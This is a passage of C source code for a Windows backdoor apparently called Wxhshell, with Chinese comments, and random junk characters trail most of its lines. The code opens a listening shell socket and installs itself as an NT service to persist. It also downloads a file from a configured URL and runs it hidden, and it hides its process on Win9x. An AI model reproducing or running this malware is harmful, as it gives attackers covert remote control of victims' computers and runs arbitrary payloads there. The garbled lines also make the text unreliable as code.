ULONG InheritedFromUniqueProcessId; :QoW*Gs1
} PROCESS_BASIC_INFORMATION; 0#G@F5; <
42oW]b%P{;
PROCNTQSIP NtQueryInformationProcess; B}(r>8?dm
/nq\*)S#&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?<;9=l\Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QjlQsN!
8l.bT|#O
HANDLE hProcess; ApD`i+Y@
PROCESS_BASIC_INFORMATION pbi; !jQj1QZR`
G'U ! #
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rs@>LA
if(NULL == hInst ) return 0; "M;aNi^B
fEo5j`}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m{gw:69h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8P?p
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BQ:hUF3
<da-iY\5
if (!NtQueryInformationProcess) return 0; |LLDaA-=0
7!;H$mxP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^j!2I&h1
if(!hProcess) return 0; B7QRG0
A.9ZFFz
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c4f3Dr'xw
;x|7"lE
CloseHandle(hProcess); gbrn'NT
BHu%x|d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0f5c#/7C9
if(hProcess==NULL) return 0; %y{'p:
Q 2>o+G
HMODULE hMod; C+L_f_6]
char procName[255]; *t{^P*pc
unsigned long cbNeeded; 5O%?J-Hp
#b
eLo J
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <dGph
F~$ay@g
CloseHandle(hProcess); [.Rdq]w6
yU"lJ>Eh}}
if(strstr(procName,"services")) return 1; // 以服务启动 uXo uN$&
j.ZXLe~
return 0; // 注册表启动 \
z3>kvk
} ^~1Z"kAnT
^)E#
c
// 主模块 L,O.XR
int StartWxhshell(LPSTR lpCmdLine) %<O0Yenu
{ JKz]fgOd$
SOCKET wsl; X \BxRgl},
BOOL val=TRUE; 50CjH"3PZ`
int port=0; 6b1AIs8
struct sockaddr_in door; bOolBKV
:V0sKg|sS
if(wscfg.ws_autoins) Install(); ES)@iM?5
oCxy(q'y
port=atoi(lpCmdLine); L.s$|%
/:d6I].
if(port<=0) port=wscfg.ws_port; `aDVN_h{6
Qt\^h/zjG
WSADATA data; Q*N{3G!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R $@$
ny"z<N&}/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MwC}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mb>8=hMg
door.sin_family = AF_INET; f+lPQIB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .*X=JFxl
door.sin_port = htons(port); {G+iobQdd
/5Sd?pW;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { []$L"?]0uk
closesocket(wsl);
u]OYu
return 1; +~V)&6Vn
} IuY4R0Go
&^7(?C'u
if(listen(wsl,2) == INVALID_SOCKET) { Qd/x{a8
closesocket(wsl); 4"pU\g
return 1; u`;P^t5
} d2?#&d'aq
Wxhshell(wsl); sp&gw XPG
WSACleanup(); ]*hH.ZBY"^
Pj1 k?7
return 0; A">R-1R
P]O=K
} &I:ZJuQ4
`B~zB=}
// 以NT服务方式启动 Ig<# {V
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CK#i 6!~r
{ NX5$x/uz
DWORD status = 0; .^6yCs5~`
DWORD specificError = 0xfffffff; eQwvp`@"
}]Nt:_UCX
serviceStatus.dwServiceType = SERVICE_WIN32; 3RF`F
i
serviceStatus.dwCurrentState = SERVICE_START_PENDING; V KxuK0{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2wJa:=$
serviceStatus.dwWin32ExitCode = 0; 7GvMKtuSK
serviceStatus.dwServiceSpecificExitCode = 0; k;Fxr%
serviceStatus.dwCheckPoint = 0; *L~?.9R
serviceStatus.dwWaitHint = 0; V`8\)FFG
"yc|ng
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I+,CiJ|4
if (hServiceStatusHandle==0) return; c^<~Y$i
]_j={0%
status = GetLastError(); p=m:^9/
if (status!=NO_ERROR) !4T!@"#
{ m8V}E&6
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q_Wg4n5
serviceStatus.dwCheckPoint = 0; pekNBq
Wm
serviceStatus.dwWaitHint = 0; [C\B2iU7_M
serviceStatus.dwWin32ExitCode = status; g;Zy3
serviceStatus.dwServiceSpecificExitCode = specificError; kA> e*6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lD{*Z spz
return; f40OVT@g
} 9o4h~Imu
"}Ikx tee
serviceStatus.dwCurrentState = SERVICE_RUNNING; %OsxXO?
serviceStatus.dwCheckPoint = 0; 6a<zZO`Z6+
serviceStatus.dwWaitHint = 0; 6Jq3l_
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I1#MS4;$^
} 6FN#X g
p1\mjM
// 处理NT服务事件,比如:启动、停止 /|lAxAm?
VOID WINAPI NTServiceHandler(DWORD fdwControl) eL<jA9cJ9
{ ]57yorc`
switch(fdwControl) 0gGr/78
{ ;XQ27,K&
case SERVICE_CONTROL_STOP: !zsrORF{
serviceStatus.dwWin32ExitCode = 0; {
'402
serviceStatus.dwCurrentState = SERVICE_STOPPED; @j"6f|d
serviceStatus.dwCheckPoint = 0; `(ik2#B`}
serviceStatus.dwWaitHint = 0; T2n3g|4
{ S>)[n]f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %WC^aKfY
} _u'y7-
return; Uy.ihh$I-
case SERVICE_CONTROL_PAUSE: ^^lx Ot
serviceStatus.dwCurrentState = SERVICE_PAUSED; :[CEHRc7x
break; mlPvF%Ba
case SERVICE_CONTROL_CONTINUE: !>V)x
serviceStatus.dwCurrentState = SERVICE_RUNNING; , 6Jw
break; Qm=iCZ|E^!
case SERVICE_CONTROL_INTERROGATE: xI.0m
break; ~4|Tr z2T
}; 'c_K[p$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5fMlOP_
} Pf/8tXs}
0yvp>{;p
// 标准应用程序主函数 :wN!E{0j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Vx5tOq
{ D1$ER>
~L>86/hP,N
// 获取操作系统版本 0m=57c$O
OsIsNt=GetOsVer(); n @,.
GetModuleFileName(NULL,ExeFile,MAX_PATH); dWY{x47
T:Ovh.$
// 从命令行安装 7>f"4r_r6<
if(strpbrk(lpCmdLine,"iI")) Install(); u:f.;?
i]s%tEZ1
// 下载执行文件 Y%?*Lj|
if(wscfg.ws_downexe) { bdY:-8!3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nt+OaXe5D
WinExec(wscfg.ws_filenam,SW_HIDE); :5.F
} V#5$J Xp
ky-nP8L}
if(!OsIsNt) { 9e c},~(
// 如果时win9x,隐藏进程并且设置为注册表启动 =R~zD4{"
HideProc(); 2gZ nrU
StartWxhshell(lpCmdLine); Mi{ns $B%
} ?3 k_YN"
else znPh7{|<